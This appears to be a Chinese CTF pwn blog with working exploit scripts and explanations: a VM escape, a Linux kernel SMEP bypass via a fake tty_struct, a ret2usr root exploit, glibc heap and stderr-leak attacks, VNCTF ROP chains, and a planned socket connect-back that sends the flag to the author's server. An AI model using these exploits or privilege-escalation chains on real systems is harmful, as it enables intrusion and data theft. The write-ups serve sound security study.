6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
context.log_level="debug"
sh=process(['/home/rootzhang/glibc-all-in-one/libs/2.31-0ubuntu9.2_amd64/ld-2.31.so', './mva'], env={"LD_PRELOAD":'/home/rootzhang/glibc-all-in-one/libs/2.31-0ubuntu9.2_amd64/libc-2.31.so'})
libc = ELF('/home/rootzhang/glibc-all-in-one/libs/2.31-0ubuntu9.2_amd64/libc-2.31.so')
'''
0xe6c7e execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL

0xe6c81 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL

0xe6c84 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL

'''
ogg=0xe6c81
gdb.attach(sh,"b *(0x7ffff7fc6000+0x1A62)")
sh.recvuntil("[+] Welcome to MVA, input your code now :")
addr_offset=0x270b3
pay='\x01\x00\x01\x0f'#s0=0x110
pay+='\x0e\x00\xf6\x00'#v9=s0=0x110
pay+='\x0a\x01\x00\x00'#s1=(ret_addr&0xffff00000000)>>32
pay+='\x0a\x02\x00\x00'#s2=(ret_addr&0xffff0000)>>16
pay+='\x0a\x03\x00\x00'#s3=(ret_addr&0xfffff)
pay+='\x01\x00\x70\xb3'#s0=0x70b3
pay+='\x03\x03\x03\x00'#s3=s3-s0
pay+='\x01\x00\x00\x02'#s0=0x2
pay+='\x03\x02\x02\x00'#s2=s2-s0
pay+='\x01\x00'+p8(0x6c)+p8(0x81)#s0=0x6c81
pay+='\x02\x03\x03\x00'#s3=s3+s0
pay+='\x01\x00\x00'+p8(0xe)#s0=0xe
pay+='\x02\x02\x02\x00'#s2=s2+s0
pay+='\x01\x00\x01\x0c'#s0=0x10c
pay+='\x0e\x00\xf6\x00'#v9&0xffff=07x10c
pay+='\x01\x00\x80\x00'#s0=0x8000
pay+='\x0e\x00\xf9\x00'#v9=0x800000000000010c
pay+='\x01\x00\x00\x00'#s0=0
pay+='\x02\x00\x03\x00'#s0=s3
pay+='\x09\x00\x00\x00'
pay+='\x01\x00\x00\x00'#s0=0
pay+='\x02\x00\x02\x00'#s0=s2
pay+='\x09\x00\x00\x00'
sh.sendline(pay.ljust(0x100,'a'))
sh.interactive()

smep绕过

0x1 smep机制

smep是内核态的一种保护机制,当CPU处于内核态的时候,即处于ring0的时候不允许访问用户态的代码,所以上篇的ret2user就直接不能使用了。

但是也有绕过办法,这个实现smep的机制密不可分,系统会通过cr4的第20位是否为1判断是否开启了smep,只要能执行rop然后mov改变cr4的第二十位为0就行,然后就可以执行用户态的代码了。

0x2 tty_struct

当用户打开ptmx驱动的时候会给其分配一个tty_struct结构,具体定义如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
struct tty_struct {  
int magic;
struct kref kref;
struct device *dev;
struct tty_driver *driver;
const struct tty_operations *ops;
int index;
/* Protects ldisc changes: Lock tty not pty */
struct ld_semaphore ldisc_sem;
struct tty_ldisc *ldisc;
struct mutex atomic_write_lock;
struct mutex legacy_mutex;
struct mutex throttle_mutex;
struct rw_semaphore termios_rwsem;
struct mutex winsize_mutex;
spinlock_t ctrl_lock;
spinlock_t flow_lock;
/* Termios values are protected by the termios rwsem */
struct ktermios termios, termios_locked;
struct termiox *termiox; /* May be NULL for unsupported */
char name[64];
struct pid *pgrp; /* Protected by ctrl lock */
struct pid *session;
unsigned long flags;
int count;
struct winsize winsize; /* winsize_mutex */
unsigned long stopped:1, /* flow_lock */
flow_stopped:1,
unused:BITS_PER_LONG - 2;
int hw_stopped;
unsigned long ctrl_status:8, /* ctrl_lock */
packet:1,
unused_ctrl:BITS_PER_LONG - 9;
unsigned int receive_room; /* Bytes free for queue */
int flow_change;
struct tty_struct *link;
struct fasync_struct *fasync;
wait_queue_head_t write_wait;
wait_queue_head_t read_wait;
struct work_struct hangup_work;
void *disc_data;
void *driver_data;
spinlock_t files_lock; /* protects tty_files list */
struct list_head tty_files;
#define N_TTY_BUF_SIZE 4096
int closing;
unsigned char *write_buf;
int write_cnt;
/* If the tty has a pending do_SAK, queue it here - akpm */
struct work_struct SAK_work;
struct tty_port *port;
} __randomize_layout;

然后有一个类似虚表指针const struct tty_operations *ops,这个指针指向一个这样的虚表,里面储存了大量的函数地址,可以把这个设备当成c+++中的一个对象,当对这个对象执行虚函数的时候会从这个虚表中找到对应函数的地址然后在执行,可见执行open() read() write() close() 的时候都会从这个虚表中找函数地址,只要我们能伪tty_struct就可以间接控制tty_operations了,通过修改虚表中函数地址来控制程序流了,其中write()处于ty_operations[7],当程序执行虚表函数的时候rax就永远指向虚表第一项,所以可以结合write和rax来完成rop。(感觉很像house of kiwi,都是通过一个固定寄存器和相对调用完成rop)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
struct tty_operations {  
struct tty_struct * (*lookup)(struct tty_driver *driver,
struct file *filp, int idx);
int (*install)(struct tty_driver *driver, struct tty_struct *tty);
void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
int (*open)(struct tty_struct * tty, struct file * filp);
void (*close)(struct tty_struct * tty, struct file * filp);
void (*shutdown)(struct tty_struct *tty);
void (*cleanup)(struct tty_struct *tty);
int (*write)(struct tty_struct * tty,
const unsigned char *buf, int count);
int (*put_char)(struct tty_struct *tty, unsigned char ch);
void (*flush_chars)(struct tty_struct *tty);
int (*write_room)(struct tty_struct *tty);
int (*chars_in_buffer)(struct tty_struct *tty);
int (*ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
long (*compat_ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
void (*throttle)(struct tty_struct * tty);
void (*unthrottle)(struct tty_struct * tty);
void (*stop)(struct tty_struct *tty);
void (*start)(struct tty_struct *tty);
void (*hangup)(struct tty_struct *tty);
int (*break_ctl)(struct tty_struct *tty, int state);
void (*flush_buffer)(struct tty_struct *tty);
void (*set_ldisc)(struct tty_struct *tty);
void (*wait_until_sent)(struct tty_struct *tty, int timeout);
void (*send_xchar)(struct tty_struct *tty, char ch);
int (*tiocmget)(struct tty_struct *tty);
int (*tiocmset)(struct tty_struct *tty,
unsigned int set, unsigned int clear);
int (*resize)(struct tty_struct *tty, struct winsize *ws);
int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
int (*get_icount)(struct tty_struct *tty,
struct serial_icounter_struct *icount);
void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);
#ifdef CONFIG_CONSOLE_POLL
int (*poll_init)(struct tty_driver *driver, int line, char *options);
int (*poll_get_char)(struct tty_driver *driver, int line);
void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
#endif
int (*proc_show)(struct seq_file *, void *);
} __randomize_layout;

0x3 脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
size_t commit_creds=0xffffffff810a1420;
size_t prepare_kernel_creds=0xffffffff810a1810;
void* fake_tty_operatios[30];
size_t user_cs,user_ss,user_rflags,user_sp;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
}
void get_shell(){
system("/bin/sh");
}
void get_root(){
(*((void (*)(char *))commit_creds))((*((char* (*)(int))prepare_kernel_creds))(0));
}
int main(){
save_status();
int i=0;
size_t rop[32]={0};
rop[i++]=0xffffffff810d238d; //pop rdi ; ret
rop[i++]=0x6f0;
rop[i++]=0xffffffff81004d80;//mov cr4, rdi ; pop rbp ; ret
rop[i++]=0;
rop[i++]=(size_t)get_root;
rop[i++]=0xffffffff81063694;//swapgs ; pop rbp ; ret
rop[i++]=0;
rop[i++]=0xFFFFFFFF8181A797;//iretq
rop[i++]=(size_t)get_shell;
rop[i++]=user_cs;
rop[i++]=user_rflags;
rop[i++]=user_sp;
rop[i++]=user_ss;
for(int i=0;i<30;i++){
fake_tty_operatios[i]=0xFFFFFFFF8181BFC5;////mov rsp, rax;dec ebx;ret
}
fake_tty_operatios[0]=0xffffffff810635f5;//pop rax; pop rbp; ret
fake_tty_operatios[1]=(size_t)rop;
fake_tty_operatios[3]=0xFFFFFFFF8181BFC5;// mov rsp,rax ; dec ebx ; ret
int fd1=open("/dev/babydev",2);
int fd2=open("/dev/babydev",2);
ioctl(fd1,0x10001,0x2e0);
close(fd1);
int fd_tty=open("/dev/ptmx",O_RDWR|O_NOCTTY);
size_t fake_tty_struct[4]={0};
read(fd2,fake_tty_struct,32);
fake_tty_struct[3]=(size_t)fake_tty_operatios;
write(fd2,fake_tty_struct,32);
char buf[8]={0};
write(fd_tty,buf,8);
return 0;
}

0x4 最终效果

1
2
3
4
5
6
7
8
9
10
11
12
13
/ $ ls
bin etc flag init proc sys
da.sh exp gadget lib root tmp
dev exp.c home linuxrc sbin usr
/ $ cat flag
cat: can't open 'flag': Permission denied
/ $ ./exp
[ 16.387072] device open
[ 16.388872] device open
[ 16.390499] alloc done
[ 16.392086] device release
/ # cat flag
falg{123}

0x5 思考

rop布置在内核态和用户态有很大的区别,当布置在内核态的时候,如果组成rop的gadget全是内核gadget的时候,就不会触发semep和smap,但是如果布置在用户态的时候,就算全部是内核态的gadget,也会触发smap,因为每次ret的时候都会访问用户态数据拿到地址,就触发smap了,至于为什么不触发smep,因为全程都没有执行用户态代码。

0x6 总结

iretq:指令则用来恢复用户态的 cs、ss、rsp、rip、rflags,恢复的时候的布局如下

1
2
3
4
5
6
7
8
9
10
11
+-----------+
|    RIP    |
+-----------+
|    CS     |
+-----------+
|   rflags  |
+-----------+
|    RSP    |
+-----------+
|    SS     |
+-----------+

可见这条指令会直接改变rip的值,当这条指令执行完之后会去执行rip处的指令,假如rip处是get_shell的函数地址,这条指令完就直接执行get_shell函数了,所以不用iretq;ret,直接iretq就可以返回用户态并执行get_shell了。

gadget:使用ropper寻找gadget是最合适的。

函数偏移量:比如这道题解出来的vmlinux好像没有符号表,所以无法通过pwn直接得到偏移量,这时可以让内核运行起来,然后通过这行shell得到某个内核函数的地址。

1
cat /proc/kallsyms|grep "xxxx"

ret2usr

古老的手法,一般是在没开semp的情况下,用户空间不能访问内核态,内核态可以直接执行内核态的代码,所以可以在用户态写上提权代码,然后内核态访问这段代码,最后返回用户态执行执行system(“/bin/sh”);

注意不要直接在内核态执行system(“/bin/sh”)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
void usr_shell(){
if(getuid()==0){
printf("[*]----getshell ok");
system("/bin/sh");
}else{
puts("[*] getshell fail");
}
exit(0);
}

size_t commit_creds=0;
size_t prepare_kernel_cred=0;
size_t raw_vmlinux_base=0xffffffff81000000;
size_t vmlinux_base=0;
size_t find_symbols(){
FILE* kallsyms_fd=fopen("/tmp/kallsyms","r");
if(kallsyms_fd<0){
puts("[*]opne kallsyms error");
exit(0);
}
char buf[0x30]={0};
while (fgets(buf,0x30,kallsyms_fd))
{
printf("%s\n",buf);
if(commit_creds&prepare_kernel_cred){
return 0;
}
if(strstr(buf,"commit_creds")&&!commit_creds){
char hex[20]={0};
strncpy(hex,buf,16);
sscanf(hex,"%llx",&commit_creds);
printf("commit_creds_addr:%p\n",commit_creds);
vmlinux_base=commit_creds-0x9c8e0;
printf("vmlinux_base_addr:%p",vmlinux_base);

}
if(strstr(buf,"prepare_kernel_cred")&&!prepare_kernel_cred){
char hex[20]={0};
strncpy(hex,buf,16);
sscanf(hex,"%llx",&prepare_kernel_cred);
printf("prepare_kernel_cred_addr:%p\n",prepare_kernel_cred);
vmlinux_base=prepare_kernel_cred-0x9cce0;


}
}
if(!(prepare_kernel_cred&commit_creds)){
puts("[*]addr error");
exit(0);
}
}
size_t user_cs,user_ss,user_rflags,user_sp;
void save_status(){
__asm__(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp,rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has ben saved.");
}
void set_off(int fd,long long idx){
printf("[*]set off to %ld\n",idx);
ioctl(fd,0x6677889c,idx);
}
void core_read(int fd,char *buf){
puts("[*]read to buf.");
ioctl(fd, 0x6677889B, buf);
}
void core_copy_func(int fd,long long size){
printf("[*]copy from user with size :%ld\n",size);
ioctl(fd, 0x6677889A, size);
}

void privilege_escalation(){
if(commit_creds && prepare_kernel_cred){
(*((void (*)(char *))commit_creds))(
(*((char* (*)(int))prepare_kernel_cred))(0)
);
}
}

int main(){
save_status();
int fd=open("/proc/core",2);
if(fd<0){
puts("[*]open core error");
exit(0);
}
find_symbols();
ssize_t offset=vmlinux_base-raw_vmlinux_base;
set_off(fd,0x40);
char buf[0x40]={0};
core_read(fd,buf);
size_t canary=((size_t *)buf)[0];
printf("[*]canary: %p\n",canary);
size_t rop[0x1000]={0};
int i;
for(i=0;i<10;i++){
rop[i]=canary;
}
rop[i++] =(size_t)privilege_escalation;
rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; ret
rop[i++] = 0;

rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret;

rop[i++] = (size_t)usr_shell; // rip
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;
write(fd,rop,0x800);
core_copy_func(fd,0xffffffffffff0000 | (0x100));
}

这里记录一下自己写的打包和解包的shell脚本

解包 命令行第一个参数是相对于rootfs文件夹cpio的相对路径,第二个参数是在rootfs文件中储存cpio文件的文件名,注意如果cpio文件是压缩包形式,那先解压缩,然后再执行shell脚本

1
2
3
4
5
6
7
#!/bin/bash

mkdir rootfs
cd rootfs
mv $1 $2
cpio -idmv < $2
mv $2 $1

打包 第一个参数是储存cpio文件相对路径。

1
2
3
#!/bin/bash

find . | cpio -o --format=newc > $1

一般情况下挺好用的,但有时候题目会给打包和解包文件,注意使用题目给的。

VNCTF pwn1

这道题鸽了有半个多月了,终于把他做完了,当时是全场零解的题,看官方wp的时候有200多行的代码,看得我头皮发麻,幸好后面找见了个比较简单的wp,但这个wp就是简略的说了一下过程,还有我没有见过的stderr利用(不懂为什么不可以使用stdout),后面实验一下

这道题的代码量挺少的,主要逻辑是两个数组储存对的地址和堆的大小,在申请的时候会对size数组遍历检查,如果为0在此处储存新堆块的大小,对应地址数组的偏移储存地址,在free的时候不会检查地址数组,只检查size数组,然后free完不会清除地址,只清除size,导致可以doublefree,如果申请的时候idx是指定的就很方便了,但是这个不是指定的,而是遍历size数组的,况且是2.31的glibc,单纯doublefree是不行的,我们得通过doublefree构造UAF,通过doublefree构造UAF的方式先free一次,在申请出来,然后再free一次,这样就构成了UAF,为了不覆盖堆地址,所以需要doublefree的idx在后面才行(当时没想到,笨)。

我感觉这道题的精华就是把一个堆同时放到tcache和unsortedbin上面,这样tcache的fd就有了libc地址了,然后使用UAF进行爆破(有leak就不用这么麻烦了)。

主要思路

先在flag附近申请一个指定的堆块,然后利用UAF打global_max_fast,然后把这个堆块free到stderr的write_base上面,再利用UAF打stderr,修改flag和write_base的最后一个字节,至于为什么要改,因为这个堆的地址大于储存flag的地址,所以得改小,最后修改topchunk的size的大小和prev_size(0),最后申请一个大堆块,就会触发io_new_file_xsputn,这个函数在stdout就介绍过了,里面有一个sys_write()函数,只要file结构体的flag满足条件就行,这样就有了io函数了,就能输出flag值了。

这是我写的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *
context.log_level='debug'
sh=process(['/home/rootzhang/glibc-all-in-one/libs/2.31-0ubuntu9.2_amd64/ld-2.31.so', './pwn'], env={"LD_PRELOAD":'/home/rootzhang/glibc-all-in-one/libs/2.31-0ubuntu9.2_amd64/libc-2.31.so'})
libc = ELF('/home/rootzhang/glibc-all-in-one/libs/2.31-0ubuntu9.2_amd64/libc-2.31.so')

def add(size):
sh.sendafter('Choice:','1')
sh.sendafter('Size:',str(size))

def edit(idx,context):
sh.sendafter('Choice:','2')
sh.sendafter('Index:',str(idx))
sh.sendafter('Content:',context)

def free(idx):
sh.sendafter('Choice:','3')
sh.sendlineafter('Index:',str(idx))

def exp():
add(0x14b0)#0
for i in range(7):
add(0x40)#1-7
for i in range(7):
add(0x50)#8-14
add(0x100)#15
add(0x110)#16
add(0x120)#17
add(0x440)#18
for i in range(1,8):
free(i)
for i in range(8,15):
free(i)
free(15)
add(0x100)#1->15
for i in range(7):
free(15)
edit(1,p64(0)*2)
free(15)

#fast->0x1eeb80 stderr->0x1ec5c0
add(0x10)#2
add(0xe0)#3
edit(1,'\x80\xcb')
add(0x100)#4

free(16)
add(0x110)#5->16
for i in range(7):
free(16)
edit(5,p64(0)*2)
free(16)
add(0x20)#6
add(0xe0)#7
edit(5,'\xc0\xa5')
add(0x110)#8
free(18)
add(0x440)#9
free(18)
add(0x430)#10
edit(9,'a'*0x430+p64(0)+p64(123))
add(0x100)#11
edit(11,p64(0x7fffffffffff))
free(0)
add(0x110)#0
edit(0,p64(0xfbad1887) + p64(0)*3 + b'\x00')
edit(11,p64(0x80))
gdb.attach(sh)
add(0x888)
print sh.recv()
sh.interactive()

exp()

感觉对其中的调用链很模糊,再研究研究

stdout

之前能使用stdout进行leak最主要的原因是puts函数调用了_IO_file_xsputn函数,而_IO_file_xsputn函数会最终会调用io_overflow函数,io_overflow函数最后又会调用io_do_write函数,io_do_write函数又会调用new_do_write

注意上面的调用链是一定的,调用_IO_file_xsputn函数以后最后一定会调用new_do_write函数,而new_do_wirte函数就是我们要利用的地方

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
static
_IO_size_t
new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{
...
_IO_size_t count;
if (fp->_flags & _IO_IS_APPENDING)
fp->_offset = _IO_pos_BAD;
else if (fp->_IO_read_end != fp->_IO_write_base)
{
_IO_off64_t new_pos
= _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
if (new_pos == _IO_pos_BAD)
return 0;
fp->_offset = new_pos;
}
// 调用函数输出输出缓冲区
count = _IO_SYSWRITE (fp, data, to_do); //最终输出
...

return count;
}

注意有个write的系统调用,把data输出到fp,fp如果是stdout或者是stderr,那就相当于把data输出到屏幕,之前对flag的设置就是为了new_do_write函数能走到_IO_SYSWRITE (fp, data, to_do)

这道题之所以不能用stdout是因为输出函数是write函数,没有调用_IO_file_xsputn函数

stderr

经过gdb的调试我找见了脚本最后的调用链malloc->_int_malloc->sysmalloc->__malloc_assert->__fxprintf->buffered_vfprintf->_IO_file_xsputn,这就和上面的stdout泄露的调用链连上了,虽然找见了调用链但是过程不是很清晰,和houseofkiwi扯上关系了,以后再学习叭,现在夜深了。

我找见了进入__malloc_assert函数的源码,其中刷新stderr是利用的__fxprintf,house of kiwi使用的是fflush(stderr)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# define __assert_fail(assertion, file, line, function)			\
__malloc_assert(assertion, file, line, function)

extern const char *__progname;

static void
__malloc_assert (const char *assertion, const char *file, unsigned int line,
const char *function)
{
(void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",
__progname, __progname[0] ? ": " : "",
file, line,
function ? function : "", function ? ": " : "",
assertion);
fflush (stderr);
abort ();
}

看了会house of kiwi不算很难,可以专门学习一波。

总结

当没有puts函数的时候,可以使用这个方法刷新srderr泄露信息,注意这种利用方式会导致程序退出,不适合泄露libc地址(除非没开aslr)。

vnctf

clear_got

刚开始泄露libc地址算基地址猜版本号本地能打通,远程不行,看了wp发现用了csu,自己复现时发现call [r12+rbx*8]这段代码不好搞,wp也很巧妙,使用了bss上面的一个地址(能读的也只有bss段,是我疏忽了,思路挺好想到的),最后我的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
context.log_level='debug'
sh=process('./pwn')
#sh=remote('node4.buuoj.cn',26251)
elf=ELF('./pwn')
def exp():
gdb.attach(sh,'b *0x400762')
sh.recvuntil('Welcome to VNCTF! This is a easy competition.///')
syscall_addr=0x000000000040077e
bss_addr=0x601000
gadget1=0x4007EA
gadget2=0x4007D0
payload='a'*0x68+p64(gadget1)
payload+=p64(0)#rbx
payload+=p64(1)#rbp
payload+=p64(0x600e40)#r12
payload+=p64(0x3b)#r13->rdx
payload+=p64(bss_addr)#r14->rsi
payload+=p64(0)#r15->edi
payload+=p64(gadget2)
payload+='a'*0x8
payload+=p64(0)#rbx
payload+=p64(1)#rbp
payload+=p64(bss_addr+0x8)#r12
payload+=p64(0)#r13->rdx
payload+=p64(0)#r14->rsi
payload+=p64(bss_addr)#r15->edi
payload+=p64(syscall_addr)
payload+=p64(gadget2)
payload=payload.ljust(0x100,'\x00')
sh.send(payload)
m='/bin/sh\x00'+p64(syscall_addr)
m=m.ljust(0x3b,'\x00')
sleep(2)
sh.send(m)
sh.interactive()
exp()
#flag{0f3a2cff-55bb-4517-a7f9-d91daf946d32}

rop

tcp服务的模拟,他会检查上传的tcp报文的格式,传数据的时候得绕过这个检查,然后会把传上来的数据拷贝到栈上,造成了栈溢出,远程环境很容易崩,多试几次,这也是我比赛期间内唯一做出来的题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
from pwn import *
context.log_level='debug'
#sh=process('./pwn')
sh=remote('node4.buuoj.cn',28714)
elf=ELF('./pwn')
#libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc=ELF('./libc-2.31.so')
main_addr=0x401A5E
bss_addr=0x404000
'''
0x0000000000401bb3: pop rdi; ret;
0x0000000000401bb1: pop rsi; pop r15; ret;
0x000000000011c371: pop rdx; pop r12; ret;
x000000000004a550: pop rax; ret;
0x000000000011c371: pop rdx; pop r12; ret;
0x0000000000066229: syscall; ret;
0x0000000000032b5a: pop rsp; ret;
0x0000000000043ae8: pop rax; ret;
0x0000000000001b96: pop rdx; ret;
0x00000000000d2745: syscall; ret;
0x0000000000003960: pop rsp; ret;
'''

pop_rdi=0x0000000000401bb3
pop_rsi_r15=0x0000000000401bb1
def sumbit():
sh.sendlineafter('4. Quit.\n','3')

def free(idx):
sh.sendlineafter('4. Quit.\n','2')
sh.sendlineafter('Which?',str(idx))


def get_v5_again(v5,string):
i=len(string)
m=0
while(m<=i-2):
if m==16:
m+=2
continue
s=ord(string[m])+(ord(string[m+1])<<8)
v5=v5^s
m+=2
return v5

def tcp_context(v6,i,context):
sh.sendlineafter('4. Quit.\n','1')
tcp_message=p16(0x766e) #0
tcp_message+=p16(0x28b7) #2
tcp_message+=p32(v6) #4
tcp_message+=p32(1) #8
tcp_message+=p16(i) #12
tcp_message+=p16(1) #14
tcp_message+=p16(1) #16
tcp_message+=p16(0) #18
tcp_message+=p16(1) #20
tcp_message+=p16(0xffff)#22
tcp_message+=context
tcp_message=tcp_message.ljust(0x1000,'a')
v5=get_v5_again(0x140b,tcp_message)
print hex(v5)
real_tcp_message=''
for i in range(len(tcp_message)):
if i ==16:
real_tcp_message+=str(chr(v5&0xff))
continue
if i==17:
real_tcp_message+=str(chr((v5>>8)&0xff))
continue
real_tcp_message+=tcp_message[i]
sleep(7)
sh.send(real_tcp_message)

def exp():
#gdb.attach(sh,'b *0x401A5D')
v5=5131
tcp_context(1,6,'sss')
tcp_context(1+4096,6,'sss')
tcp_context(1+4096+4096,6,'sss')
write_plt=elf.plt['write']
write_got=elf.got['write']
payload='a'*(0x68+8)+p64(pop_rsi_r15)+p64(write_got)*2+p64(write_plt)+p64(main_addr)
tcp_context(1+4096+4096+4096,6,payload)
sleep(8)
sumbit()
sleep(1)
sh.recvuntil('Done.\n')
libc_base=u64(sh.recv(6).ljust(8,'\x00'))-libc.sym['write']
print hex(libc_base)
pop_rdx_r12=libc_base+0x000000000011c371
pop_rax=libc_base+0x000000000004a550
syscall_addr=libc_base+0x0000000000066229
pop_rsp=libc_base+0x0000000000032b5a
free(3)
payload='a'*(0x68+8)+p64(pop_rax)+p64(0)+p64(pop_rdi)+p64(0)+p64(pop_rsi_r15)+p64(bss_addr)*2
payload+=p64(pop_rdx_r12)+p64(0x300)*2+p64(syscall_addr)+p64(pop_rsp)+p64(bss_addr+0x10)
tcp_context(1+4096+4096+4096,6,payload)
sleep(8)
sumbit()
sleep(1)
sh.recvuntil('Done.\n')
payload='./flag'.ljust(0x10,'\x00')+p64(pop_rax)+p64(2)+p64(pop_rdi)+p64(bss_addr)+p64(pop_rsi_r15)
payload+=p64(0)*2+p64(pop_rdx_r12)+p64(0)*2+p64(syscall_addr)+p64(pop_rax)+p64(0)+p64(pop_rdi)+p64(3)
payload+=p64(pop_rsi_r15)+p64(bss_addr+0x200)*2+p64(pop_rdx_r12)+p64(0x30)*2+p64(syscall_addr)
payload+=p64(pop_rax)+p64(1)+p64(pop_rdi)+p64(1)+p64(pop_rsi_r15)+p64(bss_addr+0x200)*2
payload+=p64(pop_rdx_r12)+p64(0x30)*2+p64(syscall_addr)
sleep(0.5)
sh.send(payload)
sleep(2)
print sh.recv()
sh.interactive()
exp()

冰墩墩

第一次遇见close(0);close(1);close(2),以为没啥,就普通的orw,结果发现自己的read根本写不上去,查了下才发现关闭了标准输入输出,所以无法再和程序交互,无法交互我一下就想起了侧信道,但是试过发现本地可以远程还是不行,咨询了学长才明白,远程关闭了标准输入输出流即远程题目的socket也就断了,所以无法判断程序的状态了,后来研究了学长的wp和官网wp稍微搞懂了一点。

思路

在远程使用socket(AF_INET, SOCK_STREAM, IPPROTO_IP)起一个socket客户端服务,然后使用connect连接我方服务器connect(soc, (struct sockaddr *)&serv_addr, sizeof(struct sockaddr_in)),然后write(socketfd,flag_addr.size),把flag传到我方服务器上面。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from pwn import *
import time
context.log_level='debug'
#sh = process(['./ld.so', './pwn'], env={"LD_PRELOAD":'./libc.so.6'})
elf=ELF('./pwn')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
sh=remote('node4.buuoj.cn',27264)
'''
Dump of assembler code for function backDoor:
0x0000000000401349 <+0>: endbr64
0x000000000040134d <+4>: push rbp
0x000000000040134e <+5>: mov rbp,rsp
0x0000000000401351 <+8>: syscall
0x0000000000401353 <+10>: ret
0x0000000000401354 <+11>: pop rdx
0x0000000000401355 <+12>: ret
0x0000000000401356 <+13>: pop rdi
0x0000000000401357 <+14>: ret
0x0000000000401358 <+15>: pop rsi
0x0000000000401359 <+16>: ret
0x000000000040135a <+17>: pop rax
0x000000000040135b <+18>: ret
0x000000000040135c <+19>: push rax
0x000000000040135d <+20>: pop rcx
0x000000000040135e <+21>: ret
0x000000000040135f <+22>: mov rdi,rcx
0x0000000000401362 <+25>: ret
0x0000000000401363 <+26>: nop
0x0000000000401364 <+27>: pop rbp
0x0000000000401365 <+28>: ret
End of assembler dump.
0x0000000000401347: leave; ret;
0x0000000000401014: call rax;
0x000000000040116C jmp rax
'''
socket_addr=0x403700+0x1a0
flag_addr=0x403700+0x1b0
target=0x403700+0x1c0
#gdb.attach(sh,'b main')
def exp():
pop_rax=0x000000000040135a
pop_rdi=0x0000000000401356
pop_rsi=0x0000000000401358
pop_rdx=0x0000000000401354
syscall_ret=0x0000000000401351
leave_ret=0x0000000000401347
#open
payload='a'*0x10+p64(pop_rax)+p64(2)+p64(pop_rdi)+p64(flag_addr)
payload+=p64(pop_rsi)+p64(0)+p64(pop_rdx)+p64(0)+p64(syscall_ret)
#read
payload+=p64(pop_rax)+p64(0)+p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(target)+p64(pop_rdx)
payload+=p64(0x30)+p64(syscall_ret)
#socket(2,1,0)
